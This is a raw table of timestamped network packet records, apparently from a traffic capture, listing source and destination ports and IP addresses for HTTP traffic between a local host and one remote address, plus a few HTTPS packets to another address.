Oct 24, 2024 08:38:32.199112892 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.199199915 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199253082 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199264050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199275017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199306011 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.199343920 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.199656963 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199676037 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199687004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.199706078 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.199734926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.200027943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.200041056 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.200051069 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.200086117 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.200093985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.200105906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.200110912 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.200144053 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.236213923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236253977 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236265898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236294031 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236354113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236358881 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.236366987 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236387968 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.236443043 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.236777067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236788988 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236799002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.236839056 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.236856937 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.314285994 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314327002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314348936 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314349890 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.314372063 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314390898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.314390898 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.314399958 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314416885 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.314439058 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.314558983 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314572096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314582109 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314605951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.314640999 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.314923048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314934969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314946890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314958096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.314986944 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.315006971 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.315438032 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.315448999 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.315460920 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.315471888 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.315485954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.315531015 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.351320982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351334095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351347923 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351398945 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.351439953 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351447105 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.351484060 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.351507902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351551056 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.351691008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351702929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351715088 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351726055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.351737022 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.351769924 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.352180004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.352191925 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.352204084 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.352227926 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.352256060 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.419653893 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:32.419727087 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:32.420996904 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:32.421005011 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:32.421272993 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:32.429605007 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.429666042 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.429718018 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.429744005 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.429752111 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.429785967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.429790974 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.429824114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.429922104 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.430077076 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.430111885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.430131912 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.430145025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.430166960 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.430195093 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.430422068 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.430454969 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.430470943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.430490017 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.430501938 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.430525064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.430526972 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.430565119 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.467087030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467138052 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467171907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467195034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.467219114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467252970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467257023 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.467286110 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467292070 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.467319012 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.467335939 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.467377901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467411995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467444897 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467454910 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.467493057 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.467876911 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467911005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467943907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.467961073 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.468022108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.468080997 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.468115091 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.468126059 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.468147993 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.468156099 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.468188047 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.474375963 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:32.484622002 CEST	61016	443	192.168.2.5	104.102.49.254
Oct 24, 2024 08:38:32.527406931 CEST	443	61016	104.102.49.254	192.168.2.5
Oct 24, 2024 08:38:32.544876099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.544889927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.544900894 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.544910908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.544923067 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.544975996 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.545042038 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.545202971 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.545212984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.545223951 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.545238972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.545249939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.545283079 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.545306921 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.545882940 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.545893908 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.545905113 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.545941114 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.545980930 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.581793070 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.581805944 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.581815004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.581851959 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.581882954 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.581943035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582004070 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.582041025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582051992 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582062960 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582076073 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582086086 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.582087040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582133055 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.582914114 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582926035 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582937002 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.582968950 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.583003044 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.583189964 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.583203077 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.583214045 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.583230019 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.583268881 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661231995 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661263943 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661276102 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661298037 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661334991 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661406040 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661417007 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661428928 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661453962 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661474943 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661623955 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661634922 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661649942 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661669970 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661685944 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661744118 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661906004 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661931038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661942005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.661952972 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661973000 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.661998987 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.662017107 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.662312031 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.698980093 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699028015 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699034929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699085951 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.699110985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699122906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699126005 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.699136972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699182034 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.699208975 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.699393034 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699403048 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699445963 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.699532986 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699544907 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699557066 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699594975 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.699678898 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699692011 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699702978 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.699733019 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.700392008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.700434923 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.700510025 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.700557947 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.776753902 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.776792049 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.776803970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.776864052 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.776906013 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.776911974 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.776941061 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.776952982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.776954889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.776966095 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.777021885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.777055025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.777055025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.777070045 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.777270079 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.777309895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.777322054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.777333021 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.777348042 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.777447939 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.777487993 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.777817965 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.777862072 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.777869940 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.777904987 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.814279079 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.814318895 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.814332008 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.814343929 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.814414024 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.814472914 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.814507961 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.814519882 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.814533949 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.814546108 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.814574003 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.814591885 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.814826965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.815010071 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815022945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815033913 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815057993 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.815079927 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815087080 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.815123081 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.815525055 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815567970 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815579891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815617085 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815629005 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.815819025 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.891875982 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.891911030 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.891923904 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.891936064 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.891947985 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.891946077 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.891990900 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.892046928 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.892170906 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.892183065 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.892194033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.892229080 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.892263889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.892499924 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.892512083 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.892523050 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.892546892 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.892575979 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.929392099 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929418087 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929429054 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929519892 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.929589033 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929621935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929631948 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929637909 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.929682016 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.929889917 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929929972 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929944038 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929976940 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.929982901 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.929996967 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.930002928 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.930044889 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.930634975 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.930646896 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.930677891 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.930689096 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.930699110 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.930706024 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.930717945 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.930723906 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.930764914 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.931412935 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.931449890 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.931468010 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.931483984 CEST	80	61014	185.215.113.37	192.168.2.5
Oct 24, 2024 08:38:32.931504965 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:32.931528091 CEST	61014	80	192.168.2.5	185.215.113.37
Oct 24, 2024 08:38:33.006982088 CEST	80	61014	185.215.113.37	192.168.2.5
